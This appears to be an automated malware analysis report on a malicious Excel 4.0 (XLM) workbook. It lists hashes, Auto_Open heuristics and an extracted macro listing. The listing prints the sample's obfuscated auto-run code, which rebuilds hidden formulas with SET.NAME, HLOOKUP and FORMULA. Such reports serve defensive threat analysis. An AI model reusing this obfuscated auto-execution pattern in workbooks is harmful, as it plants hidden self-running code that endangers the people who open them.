Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec7f40230717266b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:52 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 049689165f1fbf632fe5a8dcfbf011f0 SHA-1: 3aa7c03a13e7cf58063c5a44beff97c26c3fc756 SHA-256: ec7f40230717266b42c04135927a77ae53c34489b822815c0663f12479276ad2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6515 bytes
SHA-256: 513f3ceefd719a66790437cfd53867f9b95bb924491535222f9397f4be995c39
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CFtYDXaJ
' 0018     20 LABEL : Cell Value, String Constant - AIwnF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E138 
' 0018     20 LABEL : Cell Value, String Constant - AYWLB len=0 
' 0018     27 LABEL : Cell Value, String Constant - BCEuUIRmTdpp len=0 
' 0018     24 LABEL : Cell Value, String Constant - CiINibuSO len=0 
' 0018     21 LABEL : Cell Value, String Constant - cZxeGh len=0 
' 0018     23 LABEL : Cell Value, String Constant - DdVYTmQQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ElXCBys len=0 
' 0018     26 LABEL : Cell Value, String Constant - JFCkGNpxRgu len=0 
' 0018     26 LABEL : Cell Value, String Constant - lJqYWmssNQY len=0 
' 0018     20 LABEL : Cell Value, String Constant - pBhxO len=0 
' 0018     26 LABEL : Cell Value, String Constant - PFHJMwynTqK len=0 
' 0018     25 LABEL : Cell Value, String Constant - PrNTmJWKVU len=0 
' 0018     21 LABEL : Cell Value, String Constant - RMnFYK len=0 
' 0018     20 LABEL : Cell Value, String Constant - RNDMq len=0 
' 0018     22 LABEL : Cell Value, String Constant - TpBYQYl len=0 
' 0018     25 LABEL : Cell Value, String Constant - VEnqPlltct len=0 
' 0018     27 LABEL : Cell Value, String Constant - VIrQZlwEAlrq len=0 
' 0018     21 LABEL : Cell Value, String Constant - yHCKfY len=0 
' 0018     24 LABEL : Cell Value, String Constant - YLUjGKyGV len=0 
' 0018     20 LABEL : Cell Value, String Constant - zNFfw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CFtYDXaJ,E46,"SET.NAME("lJqYWmssNQY",VALUE("0"))",""
'  CFtYDXaJ,E51,"SET.NAME("pBhxO",lJqYWmssNQY)",""
'  CFtYDXaJ,E55,"SET.NAME("AYWLB",lJqYWmssNQY)",""
'  CFtYDXaJ,E59,"SET.NAME("DdVYTmQQ",COUNTA(yHCKfY))",""
'  CFtYDXaJ,E61,"SET.NAME("ElXCBys",COUNTA(VEnqPlltct))",""
'  CFtYDXaJ,E64,[],""
'  CFtYDXaJ,E67,"SET.NAME("BCEuUIRmTdpp","")",""
'  CFtYDXaJ,E72,"pBhxO",""
'  CFtYDXaJ,E76,"SET.NAME("RMnFYK",HLOOKUP("*",yHCKfY,pBhxO,FALSE))",""
'  CFtYDXaJ,E78,"VIrQZlwEAlrq",""
'  CFtYDXaJ,E81,"SET.NAME("JFCkGNpxRgu",lJqYWmssNQY)",""
'  CFtYDXaJ,E85,[],""
'  CFtYDXaJ,E89,"JFCkGNpxRgu",""
'  CFtYDXaJ,E91,"TpBYQYl",""
'  CFtYDXaJ,E94,"cZxeGh",""
'  CFtYDXaJ,E99,"CiINibuSO",""
'  CFtYDXaJ,E103,"SET.NAME("YLUjGKyGV",VALUE(HLOOKUP("*",VEnqPlltct,CiINibuSO,FALSE)))",""
'  CFtYDXaJ,E106,"AIwnF",""
'  CFtYDXaJ,E110,"BCEuUIRmTdpp",""
'  CFtYDXaJ,E112,"AYWLB",""
'  CFtYDXaJ,E117,NEXT(),""
'  CFtYDXaJ,E122,"PrNTmJWKVU",""
'  CFtYDXaJ,E124,"SET.NAME("f",INT(T(FORMULA(T(BCEuUIRmTdpp)&"",""&T(PrNTmJWKVU)))))",""
'  CFtYDXaJ,E127,"zNFfw",""
'  CFtYDXaJ,E131,NEXT(),""
'  CFtYDXaJ,E133,RETURN(),""
'  CFtYDXaJ,E164,"SET.NAME("RNDMq",E46)",""
'  CFtYDXaJ,E167,"yHCKfY",""
'  CFtYDXaJ,E172,"SET.NAME("VEnqPlltct",R77C11)",""
'  CFtYDXaJ,E176,"SET.NAME("zNFfw",185)",""
'  CFtYDXaJ,E179,"SET.NAME("PFHJMwynTqK",5)",""
'  CFtYDXaJ,E184,RNDMq(),""
'  CFtYDXaJ,E185,HALT(),""